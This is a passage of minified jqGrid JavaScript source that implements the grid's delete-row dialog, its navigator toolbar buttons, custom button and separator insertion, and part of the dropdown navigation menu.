gbox:"#gbox_"+$.jgrid.jqID(gID), jqm:p.jqModal, overlay: p.overlay, modal:p.modal, onHide : function(h) { var rtlsup = $("#gbox_"+$.jgrid.jqID(gID)).attr("dir") === "rtl" ? true : false, fw = parseFloat($('#viewmod'+gID)[0].style.width); $($t).data("viewProp", { top:parseFloat($(h.w).css("top")), left : rtlsup ? ( $("#gbox_"+$.jgrid.jqID(gID)).outerWidth() - fw - parseFloat($(h.w).css("left")) + 12 ) : parseFloat($(h.w).css("left")), width : $(h.w).width(), height : $(h.w).height(), dataheight : $("#"+frmgr).height(), datawidth: $("#"+frmgr).width() }); h.w.remove(); if(h.o) {h.o.remove();} } }); $(".fm-button:not(." + commonstyle.disabled + ")","#"+frmtb+"_2").hover( function(){$(this).addClass( commonstyle.hover );}, function(){$(this).removeClass( commonstyle.hover );} ); focusaref(); $("#cData", "#"+frmtb+"_2").click(function(){ $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: p.onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); $("#"+frmtb+"_2").find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { if( p.buttons[index].hasOwnProperty('click')) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $("#"+frmgr_id)[0], rp_ge[$t.p.id], e); }); } } }); $("#nData", "#"+frmtb+"_2").click(function(){ $("#FormError","#"+frmtb).hide(); var npos = getCurrPos(); npos[0] = parseInt(npos[0],10); if(npos[0] !== -1 && npos[1][npos[0]+1]) { $($t).triggerHandler("jqGridViewRowClickPgButtons", ['next',$("#"+frmgr),npos[1][npos[0]]]); if($.jgrid.isFunction(p.onclickPgButtons)) { p.onclickPgButtons.call($t,'next',$("#"+frmgr),npos[1][npos[0]]); } fillData(npos[1][npos[0]+1],$t); if(!($t.p.multiselect && rp_ge[$t.p.id].viewselected)) { $($t).jqGrid("setSelection",npos[1][npos[0]+1]); } $($t).triggerHandler("jqGridViewRowAfterClickPgButtons", ['next',$("#"+frmgr),npos[1][npos[0]+1]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t,'next',$("#"+frmgr),npos[1][npos[0]+1]); } updateNav(npos[0]+1,npos); } focusaref(); return false; }); $("#pData", "#"+frmtb+"_2").click(function(){ $("#FormError","#"+frmtb).hide(); var ppos = getCurrPos(); if(ppos[0] !== -1 && ppos[1][ppos[0]-1]) { $($t).triggerHandler("jqGridViewRowClickPgButtons", ['prev',$("#"+frmgr),ppos[1][ppos[0]]]); if($.jgrid.isFunction(p.onclickPgButtons)) { p.onclickPgButtons.call($t,'prev',$("#"+frmgr),ppos[1][ppos[0]]); } fillData(ppos[1][ppos[0]-1],$t); if(!($t.p.multiselect && rp_ge[$t.p.id].viewselected)) { $($t).jqGrid("setSelection",ppos[1][ppos[0]-1]); } $($t).triggerHandler("jqGridViewRowAfterClickPgButtons", ['prev',$("#"+frmgr),ppos[1][ppos[0]-1]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t,'prev',$("#"+frmgr),ppos[1][ppos[0]-1]); } updateNav(ppos[0]-1,ppos); } focusaref(); return false; }); var posInit =getCurrPos(); updateNav(posInit[0],posInit); this.refreshViewForm = function( rid, force ) { if ( force === undefined) { force = false; } if( force || rowid === rid) { fillData(rid, this); } if(force) { rowid = rid; } }; }); }, delGridRow : function(rowids,p) { var regional = $.jgrid.getRegional(this[0], 'del'), currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].formedit, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend(true, { top : 0, left: 0, width: 300, height: 'auto', dataheight : 'auto', modal: false, overlay: 30, drag: true, resize: true, url : '', mtype : "POST", reloadAfterSubmit: true, beforeShowForm: null, beforeInitData : null, afterShowForm: null, beforeSubmit: null, onclickSubmit: null, afterSubmit: null, jqModal : true, closeOnEscape : false, delData: {}, delicon : [], cancelicon : [], onClose : null, ajaxDelOptions : {}, processing : false, serializeDelData : null, useDataProxy : false }, regional, p ||{}); rp_ge[$(this)[0].p.id] = p; return this.each(function(){ var $t = this; if (!$t.grid ) {return;} if(!rowids) {return;} var gID = $t.p.id, onCS = {}, showFrm = true, dtbl = "DelTbl_"+$.jgrid.jqID(gID),postd, idname, opers, oper, dtbl_id = "DelTbl_" + gID, IDs = {themodal:'delmod'+gID,modalhead:'delhd'+gID,modalcontent:'delcnt'+gID, scrollelm: dtbl}; rp_ge[$t.p.id].styleUI = $t.p.styleUI || 'jQueryUI'; if (Array.isArray(rowids)) {rowids = rowids.join();} if ( $("#"+$.jgrid.jqID(IDs.themodal))[0] !== undefined ) { showFrm = $($t).triggerHandler("jqGridDelRowBeforeInitData", [$("#"+dtbl)]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t, $("#"+dtbl)); } if(showFrm === false) {return;} $("#DelData>td","#"+dtbl).text(rowids); $("#DelError","#"+dtbl).hide(); if( rp_ge[$t.p.id].processing === true) { rp_ge[$t.p.id].processing=false; $("#dData", "#"+dtbl).removeClass( commonstyle.active ); } $($t).triggerHandler("jqGridDelRowBeforeShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].beforeShowForm )) { rp_ge[$t.p.id].beforeShowForm.call($t,$("#"+dtbl)); } $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{gbox:"#gbox_"+$.jgrid.jqID(gID),jqm:rp_ge[$t.p.id].jqModal, overlay: rp_ge[$t.p.id].overlay, modal:rp_ge[$t.p.id].modal}); $($t).triggerHandler("jqGridDelRowAfterShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].afterShowForm )) { rp_ge[$t.p.id].afterShowForm.call($t, $("#"+dtbl)); } } else { var dh = isNaN(rp_ge[$t.p.id].dataheight) ? rp_ge[$t.p.id].dataheight : rp_ge[$t.p.id].dataheight+"px", dw = isNaN(p.datawidth) ? p.datawidth : p.datawidth+"px", tbl = "<div id='"+dtbl_id+"' class='formdata' style='width:"+dw+";overflow:auto;position:relative;height:"+dh+";'>"; tbl += "<table class='DelTable'><tbody>"; // error data tbl += "<tr id='DelError' style='display:none'><td class='" + commonstyle.error +"'></td></tr>"; tbl += "<tr id='DelData' style='display:none'><td >"+rowids+"</td></tr>"; tbl += "<tr><td class=\"delmsg\" style=\"white-space:pre;\">"+rp_ge[$t.p.id].msg+"</td></tr><tr><td > </td></tr>"; // buttons at footer tbl += "</tbody></table></div>"; var bS = "<a id='dData' class='fm-button " + commonstyle.button + "'>"+p.bSubmit+"</a>", bC = "<a id='eData' class='fm-button " + commonstyle.button + "'>"+p.bCancel+"</a>", user_buttons = ( Array.isArray( rp_ge[$t.p.id].buttons ) ? $.jgrid.buildButtons( rp_ge[$t.p.id].buttons, bS + bC, commonstyle ) : bS + bC ), fs = $('.ui-jqgrid').css('font-size') || '11px'; tbl += "<table class='EditTable ui-common-table' id='"+dtbl+"_2'><tbody><tr><td><hr class='" + commonstyle.content + "' style='margin:1px'/></td></tr><tr><td class='DelButton EditButton'>"+ user_buttons +"</td></tr></tbody></table>"; p.gbox = "#gbox_"+$.jgrid.jqID(gID); $.jgrid.createModal(IDs,tbl, rp_ge[$t.p.id] ,"#gview_"+$.jgrid.jqID($t.p.id),$("#gview_"+$.jgrid.jqID($t.p.id))[0], null, {"font-size": fs}); $(".fm-button","#"+dtbl+"_2").hover( function(){$(this).addClass( commonstyle.hover );}, function(){$(this).removeClass( commonstyle.hover );} ); p.delicon = $.extend([true,"left", styles.icon_del ],rp_ge[$t.p.id].delicon); p.cancelicon = $.extend([true,"left", styles.icon_cancel ],rp_ge[$t.p.id].cancelicon); if(p.delicon[0]===true) { $("#dData","#"+dtbl+"_2").addClass(p.delicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base + " " + p.delicon[2]+"'></span>"); } if(p.cancelicon[0]===true) { $("#eData","#"+dtbl+"_2").addClass(p.cancelicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base + " " + p.cancelicon[2]+"'></span>"); } $("#dData","#"+dtbl+"_2").click(function(){ var ret=[true,""], pk, postdata = $("#DelData>td","#"+dtbl).text(); //the pair is name=val1,val2,... onCS = {}; onCS = $($t).triggerHandler("jqGridDelRowClickSubmit", [rp_ge[$t.p.id], postdata]); if(onCS === undefined && $.jgrid.isFunction( rp_ge[$t.p.id].onclickSubmit ) ) { onCS = rp_ge[$t.p.id].onclickSubmit.call($t, rp_ge[$t.p.id], postdata) || {}; } ret = $($t).triggerHandler("jqGridDelRowBeforeSubmit", [postdata]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].beforeSubmit)) { ret = rp_ge[$t.p.id].beforeSubmit.call($t, postdata); } if(ret[0] && !rp_ge[$t.p.id].processing) { rp_ge[$t.p.id].processing = true; opers = $t.p.prmNames; postd = $.extend({},rp_ge[$t.p.id].delData, onCS); oper = opers.oper; postd[oper] = opers.deloper; idname = opers.id; postdata = String(postdata).split(","); if(!postdata.length) { return false; } for(pk in postdata) { if(postdata.hasOwnProperty(pk)) { postdata[pk] = $.jgrid.stripPref($t.p.idPrefix, postdata[pk]); } } postd[idname] = postdata.join(); $(this).addClass( commonstyle.active ); var ajaxOptions = $.extend({ url: rp_ge[$t.p.id].url || $($t).jqGrid('getGridParam','editurl'), type: rp_ge[$t.p.id].mtype, data: $.jgrid.isFunction(rp_ge[$t.p.id].serializeDelData) ? rp_ge[$t.p.id].serializeDelData.call($t,postd) : postd, success:function(res, status, data){ var i; $("#dData", "#"+dtbl+"_2").removeClass( commonstyle.active ); if(data.status >= 300 && data.status !== 304) { ret[0] = false; ret[1] = $($t).triggerHandler("jqGridDelRowErrorTextFormat", [data]); if ($.jgrid.isFunction(rp_ge[$t.p.id].errorTextFormat)) { ret[1] = rp_ge[$t.p.id].errorTextFormat.call($t, data); } if(ret[1] === undefined) { ret[1] = status + " Status: '" + data.statusText + "'. Error code: " + data.status; } } else { // data is posted successful // execute aftersubmit with the returned data from server ret = $($t).triggerHandler("jqGridDelRowAfterSubmit", [data, postd]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].afterSubmit) ) { ret = rp_ge[$t.p.id].afterSubmit.call($t, data, postd); } } if(ret[0] === false) { $("#DelError>td","#"+dtbl).html(ret[1]); $("#DelError","#"+dtbl).show(); } else { if(rp_ge[$t.p.id].reloadAfterSubmit && $t.p.datatype !== "local") { $($t).trigger("reloadGrid"); } else { if($t.p.treeGrid===true){ try {$($t).jqGrid("delTreeNode",$t.p.idPrefix+postdata[0], true);} catch(e){} } else { for(i=0;i<postdata.length;i++) { $($t).jqGrid("delRowData",$t.p.idPrefix+ postdata[i]); } } $t.p.selrow = null; $t.p.selarrrow = []; } if($.jgrid.isFunction(rp_ge[$t.p.id].afterComplete) || Object.prototype.hasOwnProperty.call($._data( $($t)[0], 'events' ), 'jqGridDelRowAfterComplete')) { var copydata = data; setTimeout(function(){ $($t).triggerHandler("jqGridDelRowAfterComplete", [copydata, postd]); try { rp_ge[$t.p.id].afterComplete.call($t, copydata, postd); } catch(eacg) { // do nothing } },500); } } rp_ge[$t.p.id].processing=false; if(ret[0]) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose});} } }, $.jgrid.ajaxOptions, rp_ge[$t.p.id].ajaxDelOptions); if (!ajaxOptions.url && !rp_ge[$t.p.id].useDataProxy) { if ($.jgrid.isFunction($t.p.dataProxy)) { rp_ge[$t.p.id].useDataProxy = true; } else { ret[0]=false;ret[1] += " "+$.jgrid.getRegional($t, 'errors.nourl'); } } if (ret[0]) { if (rp_ge[$t.p.id].useDataProxy) { var dpret = $t.p.dataProxy.call($t, ajaxOptions, "del_"+$t.p.id); if(dpret === undefined) { dpret = [true, ""]; } if(dpret[0] === false ) { ret[0] = false; ret[1] = dpret[1] || "Error deleting the selected row!" ; } else { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose}); } } else { if(ajaxOptions.url === "clientArray") { postd = ajaxOptions.data; ajaxOptions.success({status:200, statusText:''},''); } else if( ajaxOptions.url === "storage") { $($t).jqGrid('deleteStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { ajaxOptions.success(postdata,'',{status:200, statusText:''}); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } else { $.ajax(ajaxOptions); } } } } if(ret[0] === false) { $("#DelError>td","#"+dtbl).html(ret[1]); $("#DelError","#"+dtbl).show(); } return false; }); $("#eData", "#"+dtbl+"_2").click(function(){ $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:rp_ge[$t.p.id].jqModal, onClose: rp_ge[$t.p.id].onClose}); return false; }); $("#"+dtbl+"_2").find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { if( p.buttons[index].hasOwnProperty('click')) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $("#"+dtbl_id)[0], rp_ge[$t.p.id], e); }); } } }); showFrm = $($t).triggerHandler("jqGridDelRowBeforeInitData", [$("#"+dtbl)]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t, $("#"+dtbl)); } if(showFrm === false) {return;} $($t).triggerHandler("jqGridDelRowBeforeShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].beforeShowForm )) { rp_ge[$t.p.id].beforeShowForm.call($t,$("#"+dtbl)); } $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{gbox:"#gbox_"+$.jgrid.jqID(gID),jqm:rp_ge[$t.p.id].jqModal, overlay: rp_ge[$t.p.id].overlay, modal:rp_ge[$t.p.id].modal}); $($t).triggerHandler("jqGridDelRowAfterShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].afterShowForm )) { rp_ge[$t.p.id].afterShowForm.call($t,$("#"+dtbl)); } } if(rp_ge[$t.p.id].closeOnEscape===true) { setTimeout(function(){$(".ui-jqdialog-titlebar-close","#"+$.jgrid.jqID(IDs.modalhead)).attr("tabindex","-1").focus();},0); } }); }, navGrid : function (elem, p, pEdit, pAdd, pDel, pSearch, pView) { var regional = $.jgrid.getRegional(this[0], 'nav'), currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].navigator, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend({ edit: true, editicon: styles.icon_edit_nav, add: true, addicon: styles.icon_add_nav, del: true, delicon: styles.icon_del_nav, search: true, searchicon: styles.icon_search_nav, refresh: true, refreshicon: styles.icon_refresh_nav, refreshstate: 'firstpage', view: false, viewicon : styles.icon_view_nav, position : "left", closeOnEscape : true, beforeRefresh : null, afterRefresh : null, cloneToTop : false, alertwidth : 200, alertheight : 'auto', alerttop: null, alertleft: null, alertzIndex : null, dropmenu : false, navButtonText : '' }, regional, p ||{}); return this.each(function() { if(this.p.navGrid) {return;} var $t = this, twd, tdw, o; if(!$t.grid || typeof elem !== 'string') {return;} if(!$($t).data('navGrid')) { $($t).data('navGrid',p); } // speedoverhead, but usefull for future o = $($t).data('navGrid'); if($t.p.force_regional) { o = $.extend(o, regional); } if(!o.alerttop && !o.alertleft) { var pos=$.jgrid.findPos(this); pos[0]=Math.round(pos[0]); pos[1]=Math.round(pos[1]); var hg = isNaN(this.p.height) ? $($t.grid.bDiv).height(): this.p.height; if(hg === 0) { hg = 200; } o.alertleft = pos[0] + (this.p.width/2)-parseInt(o.alertwidth,10)/2; o.alerttop = pos[1] + (hg/2)-25; } var alert_info = function(){ $.jgrid.info_dialog(o.alertcap,"<div>"+o.alerttext+"</div><span tabindex='0'><span tabindex='-1' id='jqg_alrt'></span></span>","",{ jqModal:true, drag:true, resize:true, caption:o.alertcap, width:o.alertwidth, height: o.alertheight, top:o.alerttop, left:o.alertleft, closeOnEscape:o.closeOnEscape, styleUI: $t.p.styleUI, zIndex: o.alertzIndex} ); }; var clone = 1, i, onHoverIn = function () { if (!$(this).hasClass(commonstyle.disabled)) { $(this).addClass(commonstyle.hover); } }, onHoverOut = function () { $(this).removeClass(commonstyle.hover); }; if(o.cloneToTop && $t.p.toppager) {clone = 2;} for(i = 0; i<clone; i++) { var tbd, navtbl = $("<table class='ui-pg-table navtable ui-common-table'><tbody><tr></tr></tbody></table>"), sep = "<td class='ui-pg-button " +commonstyle.disabled + "' style='width:4px;'><span class='ui-separator'></span></td>", pgid, elemids; if(i===0) { pgid = elem; if(pgid.indexOf("#") === 0 ) { pgid = pgid.substring(1); pgid = "#"+ $.jgrid.jqID( pgid ); } elemids = $t.p.id; if(pgid === $t.p.toppager) { elemids += "_top"; clone = 1; } } else { pgid = $t.p.toppager; elemids = $t.p.id+"_top"; } if($t.p.direction === "rtl") { $(navtbl).attr("dir","rtl").css("float","right"); } pAdd = pAdd || {}; if (o.add) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base +" " +o.addicon+"'></span>"+o.addtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.addtitle || "",id : pAdd.id || "add_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { $.jgrid.setSelNavIndex( $t, this); if ($.jgrid.isFunction( o.addfunc )) { o.addfunc.call($t); } else { $($t).jqGrid("editGridRow","new",pAdd); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } pEdit = pEdit || {}; if (o.edit) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.editicon+"'></span>"+o.edittext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.edittitle || "",id: pEdit.id || "edit_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.editfunc ) ) { o.editfunc.call($t, sr); } else { $($t).jqGrid("editGridRow",sr,pEdit); } } else { alert_info(); $("#jqg_alrt").focus(); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } pView = pView || {}; if (o.view) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.viewicon+"'></span>"+o.viewtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.viewtitle || "",id: pView.id || "view_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.viewfunc ) ) { o.viewfunc.call($t, sr); } else { $($t).jqGrid("viewGridRow",sr,pView); } } else { alert_info(); $("#jqg_alrt").focus(); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } pDel = pDel || {}; if (o.del) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.delicon+"'></span>"+o.deltext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.deltitle || "",id: pDel.id || "del_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var dr; if($t.p.multiselect) { dr = $t.p.selarrrow; if(dr.length===0) {dr = null;} } else { dr = $t.p.selrow; } if(dr){ $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.delfunc )){ o.delfunc.call($t, dr); }else{ $($t).jqGrid("delGridRow",dr,pDel); } } else { alert_info(); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } if(o.add || o.edit || o.del || o.view) {$("tr",navtbl).append(sep);} pSearch = pSearch || {}; if (o.search) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.searchicon+"'></span>"+o.searchtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.searchtitle || "",id:pSearch.id || "search_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.searchfunc )) { o.searchfunc.call($t, pSearch); } else { $($t).jqGrid("searchGrid",pSearch); } } return false; }).hover(onHoverIn, onHoverOut); if (pSearch.showOnLoad && pSearch.showOnLoad === true) { $(tbd,navtbl).click(); } tbd = null; } if (o.refresh) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.refreshicon+"'></span>"+o.refreshtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.refreshtitle || "",id: "refresh_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if($.jgrid.isFunction(o.beforeRefresh)) {o.beforeRefresh.call($t);} $t.p.search = false; $t.p.resetsearch = true; try { if( o.refreshstate !== 'currentfilter') { var gID = $t.p.id; $t.p.postData.filters =""; try { $("#fbox_"+$.jgrid.jqID(gID)).jqFilter('resetFilter'); } catch(ef) {} if($.jgrid.isFunction($t.clearToolbar)) {$t.clearToolbar.call($t,false);} } } catch (e) {} switch (o.refreshstate) { case 'firstpage': $($t).trigger("reloadGrid", [{page:1}]); break; case 'current': case 'currentfilter': $($t).trigger("reloadGrid", [{current:true}]); break; } if($.jgrid.isFunction(o.afterRefresh)) {o.afterRefresh.call($t);} $.jgrid.setSelNavIndex( $t, this); } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } tdw = $(".ui-jqgrid").css("font-size") || "11px"; $('body').append("<div id='testpg2' class='ui-jqgrid "+$.jgrid.styleUI[currstyle].base.entrieBox+"' style='font-size:"+tdw+";visibility:hidden;' ></div>"); twd = $(navtbl).clone().appendTo("#testpg2").width(); $("#testpg2").remove(); if($t.p._nvtd) { if(o.dropmenu) { navtbl = null; $($t).jqGrid('_buildNavMenu', pgid, elemids, $.extend(p,{'ainfo':alert_info}), pEdit, pAdd, pDel, pSearch, pView ); } else if(twd > $t.p._nvtd[0] ) { if($t.p.responsive) { navtbl = null; $($t).jqGrid('_buildNavMenu', pgid, elemids, $.extend(p,{'ainfo':alert_info}), pEdit, pAdd, pDel, pSearch, pView ); } else { $(pgid+"_"+o.position,pgid).append(navtbl).width(twd); } $t.p._nvtd[0] = twd; } else { $(pgid+"_"+o.position,pgid).append(navtbl); } $t.p._nvtd[1] = twd; } $t.p.navGrid = true; } if($t.p.storeNavOptions) { $t.p.navOptions = o; $t.p.editOptions = pEdit; $t.p.addOptions = pAdd; $t.p.delOptions = pDel; $t.p.searchOptions = pSearch; $t.p.viewOptions = pView; $t.p.navButtons =[]; } }); }, navButtonAdd : function (elem, p) { var currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].navigator; p = $.extend({ caption : "newButton", title: '', buttonicon : styles.icon_newbutton_nav, onClickButton: null, position : "last", cursor : 'pointer', internal : false }, p ||{}); return this.each(function() { if(!this.grid || typeof elem !== 'string') {return;} if( elem.indexOf("#") === 0 ) { elem = elem.substring(1); } elem = "#" + $.jgrid.jqID(elem); var findnav = $(".navtable",elem)[0], $t = this, //getstyle = $.jgrid.getMethod("getStyleUI"), disabled = $.jgrid.styleUI[currstyle].common.disabled, hover = $.jgrid.styleUI[currstyle].common.hover, cornerall = $.jgrid.styleUI[currstyle].common.cornerall, iconbase = $.jgrid.styleUI[currstyle].common.icon_base; if ($t.p.storeNavOptions && !p.internal) { $t.p.navButtons.push([elem,p]); } if (findnav) { if( p.id && $("#"+$.jgrid.jqID(p.id), findnav)[0] !== undefined ) {return;} var tbd = $("<td></td>"); if(p.buttonicon.toString().toUpperCase() === "NONE") { $(tbd).addClass('ui-pg-button '+cornerall).append("<div class='ui-pg-div'>"+p.caption+"</div>"); } else { $(tbd).addClass('ui-pg-button '+cornerall).append("<div class='ui-pg-div'><span class='"+iconbase+" "+p.buttonicon+"'></span>"+p.caption+"</div>"); } if(p.id) {$(tbd).attr("id",p.id);} if(p.position==='first'){ if(findnav.rows[0].cells.length ===0 ) { $("tr",findnav).append(tbd); } else { $("tr td",findnav).eq( 0 ).before(tbd); } } else { $("tr",findnav).append(tbd); } $(tbd,findnav) .attr("title",p.title || "") .click(function(e){ if (!$(this).hasClass(disabled)) { $.jgrid.setSelNavIndex( $t, this); if ($.jgrid.isFunction(p.onClickButton) ) {p.onClickButton.call($t,e);} } return false; }) .hover( function () { if (!$(this).hasClass(disabled)) { $(this).addClass(hover); } }, function () {$(this).removeClass(hover);} ); } else { findnav = $(".dropdownmenu",elem)[0]; if (findnav) { var id = $(findnav).val(), eid = p.id || $.jgrid.randId(), item = $('<li class="ui-menu-item" role="presentation"><a class="'+ cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.caption || p.title)+'</a></li>'); if(id) { if(p.position === 'first') { $("#"+id).prepend( item ); } else { $("#"+id).append( item ); } $(item).on("click", function(e){ if (!$(this).hasClass(disabled)) { $("#"+id).hide(); if ($.jgrid.isFunction(p.onClickButton) ) { p.onClickButton.call($t,e); } } return false; }).find("a") .hover( function () { if (!$(this).hasClass(disabled)) { $(this).addClass(hover); } }, function () {$(this).removeClass(hover);} ); } } } }); }, navSeparatorAdd:function (elem,p) { var currstyle = this[0].p.styleUI, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend({ sepclass : "ui-separator", sepcontent: '', position : "last" }, p ||{}); return this.each(function() { if( !this.grid) {return;} if( typeof elem === "string" && elem.indexOf("#") !== 0) {elem = "#"+$.jgrid.jqID(elem);} var findnav = $(".navtable",elem)[0], sep, id; if ( this.p.storeNavOptions ) { this.p.navButtons.push([elem,p]); } if(findnav) { sep = "<td class='ui-pg-button "+ commonstyle.disabled +"' style='width:4px;'><span class='"+p.sepclass+"'></span>"+p.sepcontent+"</td>"; if (p.position === 'first') { if (findnav.rows[0].cells.length === 0) { $("tr", findnav).append(sep); } else { $("tr td", findnav).eq( 0 ).before(sep); } } else { $("tr", findnav).append(sep); } } else { findnav = $(".dropdownmenu",elem)[0]; sep = "<li class='ui-menu-item " +commonstyle.disabled + "' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>"; if(findnav) { id = $(findnav).val(); if(id) { if(p.position === "first") { $("#"+id).prepend( sep ); } else { $("#"+id).append( sep ); } } } } }); }, _buildNavMenu : function ( elem, elemids, p, pEdit, pAdd, pDel, pSearch, pView ) { return this.each(function() { var $t = this, //actions = ['add','edit', 'del', 'view', 'search','refresh'], regional = $.jgrid.getRegional($t, 'nav'), currstyle = $t.p.styleUI, //styles = $.jgrid.styleUI[currstyle].navigator, classes = $.jgrid.styleUI[currstyle].filter, commonstyle = $.jgrid.styleUI[currstyle].common, mid = "form_menu_"+$.jgrid.randId(), bt = p.navButtonText ? p.navButtonText : regional.selectcaption || 'Actions', act = "<button class='dropdownmenu "+commonstyle.button+"' value='"+mid+"'>" + bt +"</button>"; $(elem+"_"+p.position, elem).append( act ); var _buildMenu = function() { var fs = $('.ui-jqgrid').css('font-size') || '11px', eid, itm, str = $('<ul id="'+mid+'" class="ui-nav-menu modal-content ui-menu column-menu jqgrid-column-menu ' + commonstyle.shadow + '" role="menu" tabindex="0" style="display:none;font-size:'+fs+'"></ul>'); if( p.add ) { pAdd = pAdd || {}; eid = pAdd.id || "add_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.addtext.trim() || p.addtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if ($.jgrid.isFunction( p.addfunc )) { p.addfunc.call($t); } else { $($t).jqGrid("editGridRow","new",pAdd); } $(str).hide(); } return false; }); $(str).append(itm); } if( p.edit ) { pEdit = pEdit || {}; eid = pEdit.id || "edit_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.edittext.trim() || p.edittitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { if($.jgrid.isFunction( p.editfunc ) ) { p.editfunc.call($t, sr); } else { $($t).jqGrid("editGridRow",sr,pEdit); } } else { p.ainfo(); $("#jqg_alrt").focus(); } $(str).hide(); } return false; }); $(str).append(itm); } if( p.view ) { pView = pView || {}; eid = pView.id || "view_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.viewtext.trim() || p.viewtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( 